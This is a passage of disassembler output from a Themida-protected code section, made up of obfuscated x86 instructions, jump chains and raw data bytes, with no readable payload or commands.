eax, 61F1195Ah jmp loc_58CBA4 ; --------------------------------------------------------------------------- loc_594D26: ; CODE XREF: Themida_:00595533j mov esp, [esp] idiv cl movzx cx, ah push small 3F55h mov [esp], cx movzx cx, al jmp loc_593D44 ; --------------------------------------------------------------------------- loc_594D40: ; CODE XREF: Themida_:00595118j pop esp push esi mov esi, 2AEF3068h add edi, esi pop esi push esi mov esi, 19742664h or edi, esi pop esi not edi xor edi, 0A002891Ah add ebp, edi mov edi, [esp] add esp, 4 xchg ebp, [esp] jmp loc_58D8E9 ; --------------------------------------------------------------------------- db 0B8h dd 4, 8158C101h, 4C1h, 74FF5100h, 8F590424h, 248B2404h dd 4EC8324h, 68242C89h, 57B44BA4h, 0B2E9535Dh, 83FFFFFAh dd 348904ECh, 20DBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_594DA2: ; CODE XREF: Themida_:00595FBFj pop esi push ecx jmp loc_58B605 ; --------------------------------------------------------------------------- loc_594DA9: ; CODE XREF: Themida_:00597273j xor eax, edx pop edx sub eax, 0FFFFFFFFh push eax not dword ptr [esp] pop eax not eax shr eax, 8 add eax, 2BBFF521h add ebp, eax pop eax sub ebp, 49943014h add ebp, ecx add ebp, 49943014h jmp loc_591954 ; --------------------------------------------------------------------------- dw 0E605h dd 0E90D2E09h, 0FFFF8AE3h ; --------------------------------------------------------------------------- loc_594DE0: ; CODE XREF: Themida_:00597E0Ej mov [esp], ebx jmp loc_5931A2 ; --------------------------------------------------------------------------- dd 875AD329h, 895C241Ch, 74FF243Ch, 3C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_58C71E ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFA510E9h, 242C33FFh, 33242C31h, 0FF5C242Ch, 34FF2434h dd 89565824h, 363168E6h, 3C890000h, 13D0BF24h, 0E94754BCh dd 0FFFFC687h ; --------------------------------------------------------------------------- loc_594E3C: ; CODE XREF: Themida_:00592309j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xchg edi, [esp] pop esp mov ecx, [esp] sub esp, 4 mov [esp], eax mov eax, esp push ebp jmp loc_58D35B ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC5D2h, 8CE9F789h, 0FFFFFF68h, 3C8B2434h, 4C48124h dd 81000000h, 4C4h, 74FF5200h, 0E95A0424h, 0FFFF5E5Ah ; --------------------------------------------------------------------------- loc_594E8C: ; CODE XREF: Themida_:0058D4E8j mov [esp], edi mov edi, 0D6F6CAAh sub [ecx], edi mov edi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_59348F ; --------------------------------------------------------------------------- db 81h dd 1109A9F6h, 5EEC15Eh, 0C8850F46h, 0C1000000h, 0AAE906E6h dd 6600002Eh, 52240C8Bh, 5845EB80h, 0E9F8C380h, 0FFFFD993h ; --------------------------------------------------------------------------- loc_594ED0: ; CODE XREF: Themida_:0058D12Dj push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_58E3A6 ; --------------------------------------------------------------------------- dd 850FC4FEh, 0FFFFFB6Dh, 0E903E4C0h, 0FFFFA8F9h, 66B45066h dd 8B5FE100h, 0CBE92424h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_594F03: ; CODE XREF: Themida_:005933BDj not ecx jmp loc_591FB3 ; --------------------------------------------------------------------------- loc_594F0A: ; CODE XREF: Themida_:00592A69j pop ebx push 7527h mov [esp], ebx mov bl, 82h and bl, 0E1h not bl push dx push eax jmp loc_596FEE ; --------------------------------------------------------------------------- dw 6853h dd 213C21DDh, 0F43E9h, 0D830AC00h, 4EC81h, 14890000h, 7015E924h dd 575DFFFFh, 451ED6BFh, 4EFC124h, 8D6CF81h, 870F2698h dd 0FFFFE405h, 7035E781h, 0ABE95CE4h, 88FFFFE5h, 34FF5BF5h dd 0EC815824h, 4, 89240C89h, 0D3E956E1h, 33000025h, 96E9243Ch dd 0C1FFFF7Eh, 19E906E6h, 6600001Ah, 52240C8Bh, 24148B54h dd 5704C483h, 1A1318BFh, 14BD5508h, 29081A13h, 0C2815DEFh dd 0D607D4h, 3BE9FA01h, 0FFFFFFFBh, 669D1C77h, 2414D359h dd 5310E99Ch, 4B5BFFFFh, 0FFA334E9h, 8C0F4DFFh, 0FFFF7B46h dd 68C0F45h, 4D000019h db 2Ch, 0E7h ; --------------------------------------------------------------------------- loc_594FD6: ; CODE XREF: Themida_:005923C6j sub esp, 4 mov [esp], ecx push eax mov ah, bh mov ch, ah jmp loc_594B37 ; --------------------------------------------------------------------------- loc_594FE9: ; CODE XREF: Themida_:0059699Bj mov esi, 2C306A0Bh jmp loc_58D30A ; --------------------------------------------------------------------------- db 5 dd 4, 4BA52h, 0D0010000h, 2404875Ah, 8324248Bh, 0E95604C4h dd 0FFFFD2ADh, 0A8B45053h, 0E958E388h, 0FFFFA32Fh, 2C481h dd 81660000h, 0E97DA1EBh, 2D68h ; --------------------------------------------------------------------------- loc_59502C: ; CODE XREF: Themida_:0058DF49j pop esp mov [esp], ebp mov ebp, 4 add ebx, ebp push dword ptr [esp] pop ebp push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_591C8F ; --------------------------------------------------------------------------- dd 0B5240C89h, 1E68661Dh, 14896644h, 7B624h, 5A66F5h, 240C8BE8h dd 0E904C483h, 0FFFFF5D3h, 73F768h, 240C8900h, 2E50E9h db 0 ; --------------------------------------------------------------------------- loc_595079: ; CODE XREF: Themida_:0059299Bj inc byte ptr [esp+1] pop ecx xchg ch, dh shl dh, 5 push cx jmp loc_58CEDC ; --------------------------------------------------------------------------- loc_59508A: ; CODE XREF: Themida_:00592585j push edx mov edx, 44656E6Ah or edi, edx pop edx dec edi add edi, 86A5D203h add esi, edi pop edi mov edx, esi pop esi sub eax, 761A4B16h add eax, edx push ecx mov ecx, 151859F7h and ecx, 766F536Ah jmp loc_59519B ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFC2A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5950C1: ; CODE XREF: Themida_:0058F861j pop edx push 6071h mov [esp], ecx mov ch, 86h push ecx mov ecx, esp add ecx, 4 jmp loc_590EAE ; --------------------------------------------------------------------------- dw 7C29h dd 6C810824h, 0BCA0824h, 0D8E948ECh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5950EB: ; CODE XREF: Themida_:005909F3j xor esi, 0A3B8F40Eh mov eax, esi mov esi, [esp] add esp, 4 shr eax, 3 shr eax, 6 xor eax, 7A013650h xor edi, eax mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_594D40 ; --------------------------------------------------------------------------- db 51h, 0E9h, 81h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_595123: ; CODE XREF: Themida_:0059242Aj sub esp, 4 mov [esp], ecx mov ecx, 27632137h dec ecx xor ecx, 0E3C37ADh sub esp, 4 mov [esp], eax mov eax, 48DB7DCDh add ecx, 676F02CEh add ecx, 42C02BDCh sub ecx, eax sub ecx, 42C02BDCh push ebx mov ebx, 222D7F14h xor ebx, 45427DDAh sub ecx, ebx jmp loc_58D931 ; --------------------------------------------------------------------------- db 31h dd 0F475AD7h, 0FFB4BB8Fh, 9560E9FFh, 34FFFFFFh, 89525A24h dd 8BDE89E2h, 88642424h, 5144E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59518A: ; CODE XREF: Themida_:00591B6Bj add eax, 7C780284h add eax, ebx sub eax, 7C780284h jmp loc_58C25B ; --------------------------------------------------------------------------- loc_59519B: ; CODE XREF: Themida_:005950B3j and ecx, 5F654888h shr ecx, 4 xor ecx, 775A4F16h add eax, ecx pop ecx pop edx sub eax, 2 xchg eax, [esp] jmp loc_58EBAB ; --------------------------------------------------------------------------- loc_5951B9: ; CODE XREF: Themida_:0058D0E6j sub esp, 4 mov [esp], ecx jmp loc_58D126 ; --------------------------------------------------------------------------- loc_5951C7: ; CODE XREF: Themida_:loc_58A82Ej or dl, 77h sub dl, 8Fh jmp loc_5904A9 ; --------------------------------------------------------------------------- dw 4FFh dd 0F3E99C24h, 5AFFFF50h, 836EBB05h, 2DC8291Dh, 1D836EBBh dd 7DEFE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5951EE: ; CODE XREF: Themida_:0058A633j push ebx jmp loc_597E6D ; --------------------------------------------------------------------------- loc_5951F4: ; CODE XREF: Themida_:005908C7j neg ebp or ebp, 7AD04679h add ebp, 0F2D51E0h push ebx jmp loc_5979B7 ; --------------------------------------------------------------------------- dd 0C8BE0F66h, 1FC668h, 243C8900h, 5653E789h, 0FF8C82E9h dd 243C89FFh, 0E23178BFh, 0B3F7813Eh, 81359306h, 7137C7EFh dd 5168E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595236: ; CODE XREF: Themida_:0058C168j sub ecx, 0F992A9Ah add ecx, edi add ecx, 0F992A9Ah mov edi, [esp] jmp loc_58E7DF ; --------------------------------------------------------------------------- loc_59524C: ; CODE XREF: Themida_:005912A1j push ebx mov ebx, 16AC7617h push edx jmp loc_58E3E5 ; --------------------------------------------------------------------------- loc_595258: ; CODE XREF: Themida_:00594B96j push ebp jmp loc_597116 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 685C2404h, 456h, 54240C89h, 4EC8159h, 89000000h dd 0ECE92404h, 66FFFFFAh, 0E924048Bh, 0FFFFE0FEh ; --------------------------------------------------------------------------- loc_595288: ; CODE XREF: Themida_:005935EAj add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp loc_595295: ; CODE XREF: Themida_:00591802j sub esp, 4 mov [esp], ebp mov ebp, ebx push 60AAh mov [esp], ebp mov eax, [esp] push edx jmp loc_593BFB ; --------------------------------------------------------------------------- loc_5952AE: ; CODE XREF: Themida_:0058E5E2j mov [esp], eax push 59920CA8h mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push eax mov eax, 0A66DF358h mov ebp, eax mov eax, [esp] add esp, 4 jmp loc_596671 ; --------------------------------------------------------------------------- loc_5952D8: ; CODE XREF: Themida_:00595FFCj push dword ptr [esp+4] pop edx jmp loc_5979AF ; --------------------------------------------------------------------------- dw 0E389h dd 4EC81h, 2C890000h, 584D6824h, 4890000h, 209B6824h, 5580A2Dh dd 6EB14403h, 5558C589h, 8B2414F7h, 0C481242Ch, 4, 0E94DDDF7h dd 0FFFFB5C5h ; --------------------------------------------------------------------------- loc_595318: ; CODE XREF: Themida_:0058AC1Dj xor al, 0F6h push ebx mov bl, al jmp loc_58DEAF ; --------------------------------------------------------------------------- dw 885Bh dd 51665AF7h, 0CF00C7B1h, 302C5966h, 3004F828h, 81241C8Bh dd 4C4h, 68516600h, 68B2h, 0B7241C89h, 5BFD882Dh, 5966EB00h dd 6EBE6866h, 24048966h, 80BCB753h, 0F888F1F7h, 0FFE866E9h db 0FFh ; --------------------------------------------------------------------------- loc_595365: ; CODE XREF: Themida_:0058F731j jmp loc_591573 ; --------------------------------------------------------------------------- dw 7D68h dd 0E9000015h, 1A59h, 1676C181h, 830F3EE9h, 0FFFF7919h dd 12E98141h, 0B1204903h db 28h, 53h ; --------------------------------------------------------------------------- loc_59538A: ; CODE XREF: Themida_:00596829j pop edx mov eax, [esp] add esp, 4 jmp loc_591215 ; --------------------------------------------------------------------------- db 0FFh, 77h, 2Ch dd 0FF65F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5953A1: ; CODE XREF: Themida_:0058F57Bj ; Themida_:00590669j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx jmp loc_58B03F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF4F16h, 24048F5Fh, 0E924248Bh, 0FFFF6C8Ch ; --------------------------------------------------------------------------- loc_5953C4: ; CODE XREF: Themida_:005948B2j xor [esp], ebp jmp loc_5907BF ; --------------------------------------------------------------------------- loc_5953CC: ; CODE XREF: Themida_:00597581j mov edx, esp push ebp jmp loc_58C17E ; --------------------------------------------------------------------------- loc_5953D4: ; CODE XREF: Themida_:0058F825j mov [esp], ebp push 53BE0650h mov ebp, [esp] add esp, 4 shl ebp, 6 jmp loc_594098 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 8B54240Ch, 0C481240Ch, 4, 4B95152h, 89000000h dd 240C8BCAh, 0FFCED5E9h db 0FFh ; --------------------------------------------------------------------------- loc_595411: ; CODE XREF: Themida_:0058B369j inc ebp jo loc_5974C0 jmp loc_593CE3 ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28300h, 5C241487h, 0FF8EF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_595431: ; CODE XREF: Themida_:005977D2j mov cl, dh mov bl, cl jmp loc_594390 ; --------------------------------------------------------------------------- dw 0EFC0h dd 0FC7FE03h, 0FFB8B28Ah, 0E0F780FFh, 31E9FC88h, 0B8FFFFBEh dd 61AD291Eh, 7440AE35h, 58C5296Fh, 37B5F581h, 0ED817443h dd 8572AF5Fh, 30EC181h, 0E9016ECDh, 30EE981h, 0FFE96ECDh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59547B: ; CODE XREF: Themida_:0058DA9Aj add eax, 67371400h add eax, ebx push ebx mov ebx, 67371400h sub eax, ebx pop ebx push 1B17h mov [esp], esi push edi mov edi, 0BB0B99h mov esi, edi jmp loc_597F43 ; --------------------------------------------------------------------------- loc_5954A0: ; CODE XREF: Themida_:005955FDj mov esi, 4 add ecx, esi pop esi jmp loc_592784 ; --------------------------------------------------------------------------- db 5, 0CDh, 0A2h dd 0C6897A53h, 0ECBA5258h, 2960CBF0h, 0F7895AD6h, 8124348Bh dd 4C4h, 0FFF80100h, 815F2434h, 4C4h, 0A786E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5954DA: ; CODE XREF: Themida_:0058ECDDj ; Themida_:00590C0Cj pop ecx pop ebx jmp loc_58A2CE ; --------------------------------------------------------------------------- db 81h, 0F5h, 59h dd 0C111DB09h, 0C58102EDh, 50391213h, 6D62F581h, 0EA0138B6h dd 206AE9h db 0 ; --------------------------------------------------------------------------- loc_5954FD: ; CODE XREF: Themida_:0058DBA1j add edi, ebp pop ebp sub edi, 0E9065A7h sub edi, 50C11B4h add edi, esi add edi, 50C11B4h push ebx jmp loc_593F18 ; --------------------------------------------------------------------------- dw 8F5Eh dd 248B2404h, 241C8924h, 0FF5224E9h db 0FFh ; --------------------------------------------------------------------------- loc_595529: ; CODE XREF: Themida_:0058D632j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_594D26 ; --------------------------------------------------------------------------- dd 0EB81D3F7h, 8F5A17F5h, 2D5BD829h, 53C40480h, 0CCE9D829h dd 81FFFFB7h, 4C3h, 4EB8300h, 5C241C87h, 0E9241489h, 0FFFFA7DFh ; --------------------------------------------------------------------------- loc_595564: ; CODE XREF: Themida_:0058CBD7j mov ebp, esi pop esi add esi, ebp pop ebp add edx, esi pop esi jmp loc_5902BF ; --------------------------------------------------------------------------- loc_595572: ; CODE XREF: Themida_:0058EE68j pop ecx neg esi dec esi add esi, offset byte_42404D sub eax, 7DFF51DDh jmp loc_59626C ; --------------------------------------------------------------------------- dw 0A4BDh dd 0E957B44Bh, 0FFFF814Bh ; --------------------------------------------------------------------------- loc_595590: ; CODE XREF: Themida_:005961D3j pop ebx shl ebp, 5 js loc_5923D6 jmp loc_591B3D ; --------------------------------------------------------------------------- db 0C1h dd 0D9F704E9h db 8Bh, 0FDh ; --------------------------------------------------------------------------- loc_5955A6: ; CODE XREF: Themida_:0058EB51j sub esp, 4 mov [esp], eax mov ah, 65h jmp loc_5974C0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5C242C87h, 51240C89h, 0C181E189h, 4, 0FFA5DEE9h dd 0EE815EFFh, 1A303338h, 835EF701h, 0C36802C7h, 0E900000Ch dd 0FFFFE6BFh ; --------------------------------------------------------------------------- loc_5955E8: ; CODE XREF: Themida_:0059471Fj add ebp, 0F4D74686h mov ebx, ebp pop ebp inc ebx xchg ebp, ebx not ebp jmp loc_5939F4 ; --------------------------------------------------------------------------- loc_5955FB: ; CODE XREF: Themida_:00597756j pop edi push esi jmp loc_5954A0 ; --------------------------------------------------------------------------- loc_595602: ; CODE XREF: Themida_:005967C3j mov cl, 0B3h or dh, cl jmp loc_58BD2B ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 8904EC83h, 4B82404h, 0E9000000h, 0FFFF96A0h ; --------------------------------------------------------------------------- loc_595620: ; CODE XREF: Themida_:0058EB6Fj not eax xchg eax, [esp] pop ebp push ebx mov ebx, 14F557Ch dec ebx push ebx not dword ptr [esp] pop ebx jmp loc_595955 ; --------------------------------------------------------------------------- loc_595637: ; CODE XREF: Themida_:0058CCB8j dec ebx jnp loc_590D69 shr ebx, 7 jns loc_5932C5 sub ebx, 0FFFDBA48h jmp loc_591AC2 ; --------------------------------------------------------------------------- dw 77FFh db 1Ch ; --------------------------------------------------------------------------- loc_595655: ; CODE XREF: Themida_:0058A659j push ebx mov ebx, 0F3C73F1h and ebx, 297B411Ah push edx mov edx, 4238301Ch sub edx, 0FFFFFFFFh neg edx or edx, 33EB3B39h jmp loc_595CE3 ; --------------------------------------------------------------------------- dw 0E189h dd 8904EC83h, 4BB241Ch, 1000000h, 0CD0BE9D9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59568E: ; CODE XREF: Themida_:00590476j shr ebx, 1 xor ebx, 0EA17DB00h xor esi, ebx jmp loc_58B4CE ; --------------------------------------------------------------------------- db 0B1h, 64h, 20h dd 0CF4EE9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5956A6: ; CODE XREF: Themida_:0059731Fj push eax mov eax, 6C03719Fh or edx, eax pop eax sub edx, 5A75247Ah jmp loc_58C210 ; --------------------------------------------------------------------------- loc_5956BA: ; CODE XREF: Themida_:00590939j or eax, eax jz loc_5913B3 sub esp, 4 mov [esp], ecx push edx push esi jmp loc_58AC58 ; --------------------------------------------------------------------------- loc_5956CF: ; CODE XREF: Themida_:00590BA0j add ecx, eax jmp loc_5936D6 ; --------------------------------------------------------------------------- dw 8B0Fh dd 2894h, 0E9B2EE80h, 0FFFFA20Eh, 8A40D0F7h, 81EED1C1h dd 0EDEA3DEEh, 0E9F28986h, 0FFFF5AC7h, 0BA241489h, 4, 0FFD9FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_595705: ; CODE XREF: Themida_:00594B60j add ecx, 4 push ebp mov ebp, 50CA6A0Eh jmp loc_592A17 ; --------------------------------------------------------------------------- loc_595716: ; CODE XREF: Themida_:0058C66Ej ; Themida_:005919DDj shl ecx, 3 neg ecx and ecx, 61524015h push ebp mov ebp, 0EEAED357h sub ecx, ebp jmp loc_58DCC0 ; --------------------------------------------------------------------------- loc_59572E: ; CODE XREF: Themida_:0059456Cj sub eax, 599D6AFAh add ebp, eax jmp loc_593EDB ; --------------------------------------------------------------------------- dw 8B66h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_594A4E ; --------------------------------------------------------------------------- loc_595746: ; CODE XREF: Themida_:0058D9DBj push ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0DCF6h dd 30EDC480h, 0D2F658E2h, 0FE50F280h, 2CF280CAh, 2C5AD028h dd 1421E99Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59576A: ; CODE XREF: Themida_:0058D492j xchg edi, [esp] pop esp jmp loc_592C35 ; --------------------------------------------------------------------------- loc_595773: ; CODE XREF: Themida_:005960BEj or ebx, 73BA6790h jno loc_5961CB sub ebx, 4AE42B21h mov ebp, ebx xor al, 0D7h sub dh, 1 jmp loc_592996 ; --------------------------------------------------------------------------- loc_595791: ; CODE XREF: Themida_:0058ED86j push dword ptr [esp] pop edi push ecx mov ecx, esp push 5C0Bh mov [esp], esi mov esi, 4 add ecx, esi pop esi jmp loc_58A617 ; --------------------------------------------------------------------------- loc_5957AD: ; CODE XREF: Themida_:0058C05Fj add edx, ecx add edx, 3FC579D0h jmp loc_58CAF7 ; --------------------------------------------------------------------------- loc_5957BA: ; CODE XREF: Themida_:0058A3F7j sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], eax mov ebx, [esp] add esp, 4 push 5641h mov [esp], edx push eax jmp loc_59780B ; --------------------------------------------------------------------------- dd offset byte_5BF381 aEsIBuS0 db 'ESΑλ',7,'γ)s0',0 dw 61E9h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5957F7: ; CODE XREF: Themida_:00592157j pop eax jmp loc_58B765 ; --------------------------------------------------------------------------- loc_5957FD: ; CODE XREF: Themida_:005936DFj mov dh, al jmp loc_59681E ; --------------------------------------------------------------------------- loc_595804: ; CODE XREF: Themida_:005908B8j sub edi, 199F0951h sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx jmp loc_5923AC ; --------------------------------------------------------------------------- db 83h, 0C5h, 0FFh dd 8102E5C1h, 55BED6F5h, 5DE801F9h, 2474FF50h, 24048B04h dd 8F04C483h, 665C2404h, 2404BB0Fh, 4A84E99Ch, 5259FFFFh dd 1C5BBB53h, 1AE94B1Eh, 81FFFF82h, 1CFB3AEBh, 0A4B2E9CFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595862: ; CODE XREF: Themida_:0058CD5Ej sub esi, ecx pop ecx xor esi, 0D5B4B866h mov edi, esi pop esi jmp loc_58D630 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 48B2434h, 0E2895224h, 4C281h, 0C2830000h dd 74FF5204h, 8F5A0424h, 0E95C2404h, 0FFFFEF36h, 96D0F796h dd 3209EE81h, 0C6816B23h, 49C1B86Bh, 2242ED81h, 0F50144FDh dd 2242C581h, 575E44FDh, 7BE9E789h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5958BF: ; CODE XREF: Themida_:0058CA38j mov ch, 3Ch add al, ch pop ecx sub al, dh sub al, 3Ch pop edx add al, 0ADh jmp loc_590845 ; --------------------------------------------------------------------------- dd 0BB241C89h, 36DE3844h, 80E95352h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5958DF: ; CODE XREF: Themida_:0058C203j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_598030 ; --------------------------------------------------------------------------- loc_5958F0: ; CODE XREF: Themida_:0058CE10j inc cl jmp loc_58DC36 ; --------------------------------------------------------------------------- db 5Ah dd 8002E7C0h, 7CE98ECFh, 80FFFFECh, 0E62059ECh, 4FECE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59590E: ; CODE XREF: Themida_:0058A7C2j push ebx push ecx push 1F0F3EEDh pop ecx add ecx, 17D3F90Eh jmp loc_594A14 ; --------------------------------------------------------------------------- loc_595921: ; CODE XREF: Themida_:0058D2E1j pop edi neg ecx neg ecx shr ecx, 5 xor ecx, 22785E3Ch jmp loc_58D869 ; --------------------------------------------------------------------------- loc_595934: ; CODE XREF: Themida_:0058A54Aj mov ebx, esp jmp loc_5923CB ; --------------------------------------------------------------------------- loc_59593B: ; CODE XREF: Themida_:00596AD5j jno loc_590DA6 push 1A89h mov [esp], ebx push ebp jmp loc_58A83F ; --------------------------------------------------------------------------- loc_59594F: ; CODE XREF: Themida_:0058A684j pop ecx jmp loc_595D14 ; --------------------------------------------------------------------------- loc_595955: ; CODE XREF: Themida_:00595632j push edx mov edx, 29344E4Dh neg edx jmp loc_5917C5 ; --------------------------------------------------------------------------- loc_595962: ; CODE XREF: Themida_:00597FC5j push edx mov edx, 2 jmp loc_58EE33 ; --------------------------------------------------------------------------- loc_59596D: ; CODE XREF: Themida_:0058FB81j mov dx, [esp] push esi sub esp, 4 push esp pop dword ptr [esp] push 32D9h mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx push dword ptr [esp] pop esi push ebx mov ebx, esp jmp loc_58E859 ; --------------------------------------------------------------------------- db 4 dd 28C42C98h, 0E9C404D8h, 0FFFFECA1h ; --------------------------------------------------------------------------- loc_5959A4: ; CODE XREF: Themida_:0058B0D5j pop ecx push esi mov esi, 1BFD0BB5h and esi, 35730607h add esi, 6B84D5DCh sub edi, esi jmp loc_58E4E3 ; --------------------------------------------------------------------------- loc_5959BE: ; CODE XREF: Themida_:00592459j mov edx, 4A728C0Dh add ecx, edx pop edx mov eax, ecx pop ecx and edx, eax jmp loc_58A4EA ; --------------------------------------------------------------------------- dd 0E959EB00h, 0FFFFE0F8h, 9FB95155h, 0E97E7602h, 0FFFFC9F7h dd 0D588ED81h, 0E989144Bh, 244C015Dh, 0EC815908h, 4, 0BF243C89h dd 56770CD0h, 8FBCF81h, 8D0F29AAh, 0FFFFBE3Dh, 2E1FE781h dd 0F2801302h db 84h, 59h ; --------------------------------------------------------------------------- loc_595A16: ; CODE XREF: Themida_:0058F4DFj and ecx, 6CA03396h xchg edx, ecx not edx jmp loc_58FA20 ; --------------------------------------------------------------------------- db 0F7h, 0D6h, 0E9h dd 0FFFF69FAh, 5768D831h, 8900007Dh, 6850243Ch, 3D31h dd 0FFE37AE9h, 25F068FFh, 34890000h, 0E7895724h, 0FF74ACE9h dd 81E289FFh, 4C2h, 4C28300h, 5C241487h, 8702C183h, 248B240Ch dd 0D3885324h, 81E68956h, 4C6h, 54BD5500h, 0C10B7048h dd 0DFE905E5h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595A83: ; CODE XREF: Themida_:0058F438j mov edi, [esp] add esp, 4 jmp loc_592139 ; --------------------------------------------------------------------------- loc_595A8E: ; CODE XREF: Themida_:0058BB18j sub ebx, eax push edx mov edx, 493A36F6h shr edx, 4 shr edx, 1 shr edx, 6 xor edx, 7F99589Bh sub ebx, edx mov edx, [esp] add esp, 4 push esi mov esi, 7EC06810h jmp loc_58FB7E ; --------------------------------------------------------------------------- dw 7EB6h dd 2868B151h, 240C8BCEh, 0FF5EE9E9h db 0FFh ; --------------------------------------------------------------------------- loc_595AC9: ; CODE XREF: Themida_:00593530j push esp jmp loc_58E63D ; --------------------------------------------------------------------------- loc_595ACF: ; CODE XREF: Themida_:loc_590545j jmp loc_58C60A ; --------------------------------------------------------------------------- loc_595AD4: ; CODE XREF: Themida_:0058BF4Ej sub esi, eax pop eax jmp loc_58B00A ; --------------------------------------------------------------------------- loc_595ADC: ; CODE XREF: Themida_:0058EA74j mov ebx, [esp] add esp, 4 jmp loc_591130 ; --------------------------------------------------------------------------- dw 8FB6h dd 305AF188h, 285966CBh, 0EC835BD8h, 0E4C4E904h, 0F381FFFFh dd 293617CAh, 0AFE9D3F7h, 5BFFFF64h, 0E959CA89h, 1617h dd 0F1E9F201h, 81000006h, 4C6h, 4EC8100h, 89000000h, 0B1E92434h dd 81000018h, 6F61ABC3h, 0E9DE29B9h, 18ADh, 0E924248Bh dd 0FFFF49B2h ; --------------------------------------------------------------------------- loc_595B44: ; CODE XREF: Themida_:0058B6EAj dec ebx push edi mov edi, 2E142FB7h add edi, 3A183B9Dh add edi, 0D3EDC0D9h jmp loc_58E88B ; --------------------------------------------------------------------------- loc_595B5C: ; CODE XREF: Themida_:00592CC6j shr ecx, 3 sub ecx, 631E21DEh xor ecx, 9CE202A6h add esi, ecx pop ecx xchg esi, [esp] jmp loc_591AAC ; --------------------------------------------------------------------------- dw 8B66h dd 50532404h, 405E089h, 0E9000000h, 0FFFFEBDFh ; --------------------------------------------------------------------------- loc_595B88: ; CODE XREF: Themida_:00592298j add eax, esi pop esi sub eax, edx jmp loc_58B512 ; --------------------------------------------------------------------------- loc_595B92: ; CODE XREF: Themida_:0058FA5Dj dec ecx add ecx, 27F950B4h sub edi, ecx pop ecx mov ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub edi, ecx pop ecx xor eax, edi pop edi push ebx mov ebx, 6FE5266Bh push edx mov edx, 5F3A1884h jmp loc_58A65E ; --------------------------------------------------------------------------- dd 0E08C0F45h, 4DFFFFC1h, 0AA9C800Fh, 0F581FFFFh, 0C8391E51h db 89h, 0E9h ; --------------------------------------------------------------------------- loc_595BDA: ; CODE XREF: Themida_:00593593j sub esp, 4 jmp loc_58FD39 ; --------------------------------------------------------------------------- loc_595BE2: ; CODE XREF: Themida_:0058F9A9j ; Themida_:00592D4Dj pop ecx jmp loc_597C49 ; --------------------------------------------------------------------------- loc_595BE8: ; CODE XREF: Themida_:loc_596ADAj shl esi, 5 not esi jmp loc_5911E9 ; --------------------------------------------------------------------------- loc_595BF2: ; CODE XREF: Themida_:0058FB26j push eax mov eax, 3B28336Dh xchg eax, ebp not ebp push eax jmp loc_592D12 ; --------------------------------------------------------------------------- db 87h, 0F3h, 81h dd 70F02EBh, 5F55E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595C0E: ; CODE XREF: Themida_:0058E3BFj push 0CE5h jmp loc_5946A9 ; --------------------------------------------------------------------------- dd 0B7535066h, 0F818E939h, 4BAFFFFh, 0E9000000h, 0FFFF9302h dd 6DE9D6F7h, 1FFFFEDh, 0B1C181E9h, 0E97D9564h, 0FFFF615Ch dd 0BB53D601h, 64BF3FB0h, 54FFCB81h, 0E3C15259h, 0FED9E904h dd 0D400FFFFh, 58E3285Ah, 0FFAB1CE9h, 13D5B8FFh, 0C73154BCh dd 5FFE0158h, 0FFB51EE9h, 0EC781FFh, 8142464Bh, 391B30C7h dd 10F78146h, 0E936E21Eh, 0FFFFA490h ; --------------------------------------------------------------------------- loc_595C88: ; CODE XREF: Themida_:00597628j xchg edx, [esp] pop esp mov ebp, [esp] jmp loc_5929A0 ; 